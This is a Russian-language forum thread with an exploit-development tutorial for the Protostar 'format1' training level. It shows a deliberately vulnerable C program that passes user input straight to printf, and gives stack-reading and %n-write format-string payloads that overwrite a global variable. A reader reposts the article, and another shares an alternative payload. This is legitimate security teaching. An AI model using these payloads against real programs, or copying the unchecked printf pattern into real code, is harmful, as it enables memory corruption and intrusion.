Статья Уязвимости форматных строк и перезапись глобальных переменных - разработка эксплойтов, часть 11

fuzzz

fuzzz

Red Team
03.02.2019
180
311
Доброго времени суток посетители Codeby! Продолжаем знакомиться с уязвимостями форматных строк и с эксплойтостроением. В этой статье посмотрим что такое примитив записи и чтения - используя уязвимость форматной строки. В прошлой статье посвященной уязвимостям форматных строк, мы перезаписывали локальную переменную. На этот раз мы перезапишем глобальную переменную, которая находится со всем в другой области памяти. Поехали!!!


Описание ExploitMe
Этот уровень показывает, как строки формата могут использоваться для изменения произвольных областей памяти.

Советы
  • objdump -t ваш друг, и ваша входная строка лежит далеко в стеке :)
Этот уровень находится в / opt / protostar / bin / format1

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);

  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}
Решение
Рассмотрим исходный код программы. Есть две функции main() и vuln(). В свою очередь, главная функция main() вызывает функцию vuln(), Функция vuln() принимает строку, через аргумент из главной функции. В теле функции vuln() есть условие if которое проверяем значение переменной target. Если переменная target имеет любое значение кроме нуля, то условие считается истинным. И на экране должна отобразится строчка, которая говорит нам о том. что мы прошли задание. Сама переменная target является глобальной переменной.

В противоположность локальным переменным глобальные переменные видны всей программе и могут использоваться любым участком кода. Они хранят свои значения на протяжении всей работы программы. Глобальные переменные создаются путем объявления вне функции. К ним можно получить доступ в любом выражении, независимо от того, в какой функции находится данное выражение.

По мимо условия, есть функция printf() которая принимает строчку из аргумента.

Функция printf() записывает в stdout аргументы из списка arg-list под управлением строки, на которую указывает аргумент format.

Вот прототип этой функции

C:
int printf(const char *format, arg-list)
Глядя на код программы становится очевидно, что функция printf() - это уязвимая функция.

Более подробнее почитать про эту функцию можно .

И так для начала узнаем адрес переменной target.

Запускаем objdump чтобы найти адрес глобальной переменной target.

Код:
objdump -t format1
30272


и видим что наша глобальная переменная лежит по адресу "08049638".

Надо еще сказать, что глобальные и статические переменные хранятся в сегменте .data, а не инициализированные данные находятся в сегменте .bss. Наша переменная не имеет не какого значения, но при этом она является глобальной переменной. Компилятор положил нашу переменную в сегмент .bss для оптимизации.

Так же тут следует сказать, что искать какие то данные в программах которые весят очень много - довольно очень трудоёмкая задача. Поэтому лучшем способом будет это использовать objdump в месте с утилитой grep

Код:
objdump -t format1 | grep "target"
30271


На много проще и удобнее чем анализировать всё полотно целиком...

Используя уязвимости форматных строк мы можем напрямую записывать данные в произвольные адреса памяти. В прошлой статье. Я рассказывал об этом и приводил примеры: %х, %s, %n...

Команда форматирования «%n» записывает байты в адрес памяти, на который ссылается указатель.

Указатель, как и все остальные параметры, передается через стек.

Поскольку наш вход в printf() функцию хранится в стеке, так как он передается argv[1], у нас есть все необходимые компоненты для его использования.

Первое препятствие для эксплуатации заключается в том, что printf() не находится в том же фрейме стека, что и входная строка. Обычно это означает, что входная строка находится очень далеко от нашего текущего указателя стека. Сначала нам нужно найти, где находится начало нашей входной строки.

Удобно, что уязвимости форматных строк предоставляют нам очень простой способ чтения стека. Каждая команда форматирования %x выводит следующие 4 байта из стека и перемещает указатель стека вперед на ту же величину.

Так же надо сказать, что уязвимости форматных строк дают примитив (состояние) , как для чтения данных, так и для записи, что очень по себе ценно.

Посмотрим как это действует - приметив чтения
Код:
./format1 $(python -c "print '%x.'*10")
30270


На выходе получили цепочку байт из стека... С помощью %x мы используем 2 байта, чтобы извлечь 4 байта из стека.

Если нужно больше то увеличим число

Код:
./format1 $(python -c "print '%x.'*100")
30269


Всё просто.

Теперь найдем нашу входную строку 0x41414141 в стеке. Будем использовать метод известный как "stack popping".
Код:
./format1 $(python -c "print 'AAAAA' + '%x.' * 100 + '%x'")
30268


Тут нету нашей строки. Значит она лежит дальше

Код:
./format1 $(python -c "print 'AAAAA' + '%x.' * 150 + '%x'")
30267


Вот наша строка. Так же надо сказать, что наша строка формата также хранится в стеке.

30266


Если запустить питон и проверить, то вот, что мы получим.

Код:
"2e782541".decode('hex')
"252e7825".decode('hex')
"78252e78".decode('hex')
30265


Теперь уменьшим значение.

Код:
./format1 $(python -c "print 'AAAAA' + '%x.' * 130 + '%x'")
30259


Уменьшим еще на 5

Код:
./format1 $(python -c "print 'AAAAA' + '%x.' * 125 + '%x'")
30264


А теперь примитив записи.
Теперь мы можем заменить «AAAAA» адресом target, а последний символ форматирования %x заменить на %n чтобы записать данные на адрес.

Код:
./format1 $(python -c "from struct import pack; target=pack('I',0x08049638);print target + '%x.'*125 +'%n'")
30263


Отлично задачку можно считать решенной. На экране отобразилась строчка "you have modified the target :)" Уровень можно считать пройденным, так же мы познакомились с примитивом (состоянием) чтения (%x) и записи (%n) которые предоставляет уязвимость форматной строки. Так же следует сказать, что есть еще один примитив на выполнение. Тут сразу вспоминается Linux со своим RWX)))))))

На этом всё. Теперь можно переходить к следующему заданию . До скорых встреч!!
 
Последнее редактирование:
Voron

Voron

Grey Team
26.02.2019
82
237
Доброго времени суток посетители Codeby! Продолжаем знакомиться с уязвимостями форматных строк и с эксплойтостроением. В этой статье посмотрим что такое примитив записи и чтения - используя уязвимость форматной строки. В прошлой статье посвященной уязвимостям форматных строк, мы перезаписывали локальную переменную. На этот раз мы перезапишем глобальную переменную, которая находится со всем в другой области памяти. Поехали!!!


Описание ExploitMe
Этот уровень показывает, как строки формата могут использоваться для изменения произвольных областей памяти.

Советы
  • objdump -t ваш друг, и ваша входная строка лежит далеко в стеке :)
Этот уровень находится в / opt / protostar / bin / format1

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);

  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}
Решение
Рассмотрим исходный код программы. Есть две функции main() и vuln(). В свою очередь, главная функция main() вызывает функцию vuln(), Функция vuln() принимает строку, через аргумент из главной функции. В теле функции vuln() есть условие if которое проверяем значение переменной target. Если переменная target имеет любое значение кроме нуля, то условие считается истинным. И на экране должна отобразится строчка, которая говорит нам о том. что мы прошли задание. Сама переменная target является глобальной переменной.

В противоположность локальным переменным глобальные переменные видны всей программе и могут использоваться любым участком кода. Они хранят свои значения на протяжении всей работы программы. Глобальные переменные создаются путем объявления вне функции. К ним можно получить доступ в любом выражении, независимо от того, в какой функции находится данное выражение.

По мимо условия, есть функция printf() которая принимает строчку из аргумента.

Функция printf() записывает в stdout аргументы из списка arg-list под управлением строки, на которую указывает аргумент format.

Вот прототип этой функции

C:
int printf(const char *format, arg-list)
Глядя на код программы становится очевидно, что функция printf() - это уязвимая функция.

Более подробнее почитать про эту функцию можно .

И так для начала узнаем адрес переменной target.

Запускаем objdump чтобы найти адрес глобальной переменной target.

Код:
objdump -t format1
Посмотреть вложение 30272

и видим что наша глобальная переменная лежит по адресу "08049638".

Надо еще сказать, что глобальные и статические переменные хранятся в сегменте .data, а не инициализированные данные находятся в сегменте .bss. Наша переменная не имеет не какого значения, но при этом она является глобальной переменной. Компилятор положил нашу переменную в сегмент .bss для оптимизации.

Так же тут следует сказать, что искать какие то данные в программах которые весят очень много - довольно очень трудоёмкая задача. Поэтому лучшем способом будет это использовать objdump в месте с утилитой grep

Код:
objdump -t format1 | grep "target"
Посмотреть вложение 30271

На много проще и удобнее чем анализировать всё полотно целиком...

Используя уязвимости форматных строк мы можем напрямую записывать данные в произвольные адреса памяти. В прошлой статье. Я рассказывал об этом и приводил примеры: %х, %s, %n...

Команда форматирования «%n» записывает байты в адрес памяти, на который ссылается указатель.

Указатель, как и все остальные параметры, передается через стек.

Поскольку наш вход в printf() функцию хранится в стеке, так как он передается argv[1], у нас есть все необходимые компоненты для его использования.

Первое препятствие для эксплуатации заключается в том, что printf() не находится в том же фрейме стека, что и входная строка. Обычно это означает, что входная строка находится очень далеко от нашего текущего указателя стека. Сначала нам нужно найти, где находится начало нашей входной строки.

Удобно, что уязвимости форматных строк предоставляют нам очень простой способ чтения стека. Каждая команда форматирования %x выводит следующие 4 байта из стека и перемещает указатель стека вперед на ту же величину.

Так же надо сказать, что уязвимости форматных строк дают примитив (состояние) , как для чтения данных, так и для записи, что очень по себе ценно.

Посмотрим как это действует - приметив чтения
Код:
./format1 $(python -c "print '%x.'*10")
Посмотреть вложение 30270

На выходе получили цепочку байт из стека... С помощью %x мы используем 2 байта, чтобы извлечь 4 байта из стека.

Если нужно больше то увеличим число

Код:
./format1 $(python -c "print '%x.'*100")
Посмотреть вложение 30269

Всё просто.

Теперь найдем нашу входную строку 0x41414141 в стеке. Будем использовать метод известный как "stack popping".
Код:
./format1 $(python -c "print 'AAAAA' + '%x.' * 100 + '%x'")
Посмотреть вложение 30268

Тут нету нашей строки. Значит она лежит дальше

Код:
./format1 $(python -c "print 'AAAAA' + '%x.' * 150 + '%x'")
Посмотреть вложение 30267

Вот наша строка. Так же надо сказать, что наша строка формата также хранится в стеке.

Посмотреть вложение 30266

Если запустить питон и проверить, то вот, что мы получим.

Код:
"2e782541".decode('hex')
"252e7825".decode('hex')
"78252e78".decode('hex')
Посмотреть вложение 30265

Теперь уменьшим значение.

Код:
./format1 $(python -c "print 'AAAAA' + '%x.' * 130 + '%x'")
Посмотреть вложение 30259

Уменьшим еще на 5

Код:
./format1 $(python -c "print 'AAAAA' + '%x.' * 125 + '%x'")
Посмотреть вложение 30264

А теперь примитив записи.
Теперь мы можем заменить «AAAAA» адресом target, а последний символ форматирования %x заменить на %n чтобы записать данные на адрес.

Код:
./format1 $(python -c "from struct import pack; target=pack('I',0x08049638);print target + '%x.'*125 +'%n'")
Посмотреть вложение 30263

Отлично задачку можно считать решенной. На экране отобразилась строчка "you have modified the target :)" Уровень можно считать пройденным, так же мы познакомились с примитивом (состоянием) чтения (%x) и записи (%n) которые предоставляет уязвимость форматной строки. Так же следует сказать, что есть еще один примитив на выполнение. Тут сразу вспоминается Linux со своим RWX)))))))

На этом всё. Теперь можно переходить к следующему заданию . До скорых встреч!!
Красиво
 
P

polunochnik

Member
30.05.2019
6
3
Интересная подборка статей, все ясно и понятно.
А главное есть узкие места, которые отданы на самостоятельное решение.

может кому пригодится, в данной задачке у меня вышло так:
Код:
./format1 `python -c "print '\x08\x04\x96\x38'[::-1]+'CCDDEE' + '%x.'*123+'%n'"`
 
  • Нравится
Реакции: fuzzz
И

Икар

Разве на сегодня производители не собирают софт с ключами защиты от переполнения как буфера так и строк? в 2019 разве актуальны ошибки 2000 года?
 
fuzzz

fuzzz

Red Team
03.02.2019
180
311
Разве на сегодня производители не собирают софт с ключами защиты от переполнения как буфера так и строк? в 2019 разве актуальны ошибки 2000 года?
всё верно собирают. Но надо просто с начало изучить принцип эксплуатации подобных уязвимостей, а затем пытаться обходить защиты. Perment DEP\ASLR\CFG. В этом и сложность написания эксплойтов. Поэтому за них такие цены дикие на рынке.

Еще надо сказать если пишешь код криво. Компилятор не спасет. Когда пишешь на Си\Си++ надо выставлять максимальный уровень предупреждений в компиляторе. Любой варнинг править.

Эти уязвимости всё еще встречаются... Это конечно старые уязвимости, но всё же встречаются даже в 2019 году. Сейчас еще более современные уязвимости, которые чаще встречаются, чем эти. В скором времени я напишу о них в статье.
 
Последнее редактирование:
rink0

rink0

Well-known member
28.11.2017
58
54
ты опять с числами напутал) это 10
а та которая 12 это 11
 
Мы в соцсетях: